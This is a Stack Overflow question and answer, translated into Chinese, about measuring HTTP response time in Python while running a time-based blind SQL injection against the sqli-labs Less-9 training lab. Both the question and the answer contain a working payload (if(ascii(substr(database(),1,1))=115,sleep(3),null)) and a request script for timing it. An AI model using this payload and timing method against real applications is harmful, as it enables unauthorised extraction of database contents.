我试图在 Web 应用程序的 HTTP 响应中引入人为延迟(这是一种用于执行盲 SQL 注入(inject)的技术)。如果从浏览器发送以下 HTTP 请求,则 Web 服务器的响应将在 3 秒后返回(由 sleep(3) 引起):
http://192.168.2.15/sqli-labs/Less-9/?id=1'+and+if+(ascii(substr(database(),+1,+1))=115,sleep(3),null)+--+
我正在尝试使用 requests 库在 Python 2.7 中执行相同的操作。我的代码是:
import requests
payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"}
r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload)
roundtrip = r.elapsed.total_seconds()
print roundtrip
我预计往返时间为 3 秒,但我得到的值是 0.001371、0.001616、0.002228 等。我是否没有正确使用 elapsed 属性?
最佳答案
elapsed测量发送请求和完成解析响应 header 之间的时间,直到传输完整的响应。
如果你想测量那个时间,你需要自己测量:
import requests
import time
payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"}
start = time.time()
r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload)
roundtrip = time.time() - start
print roundtrip
关于python-2.7 - 使用 Python 中的请求库测量 HTTP 响应时间。我做对了吗?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/30442757/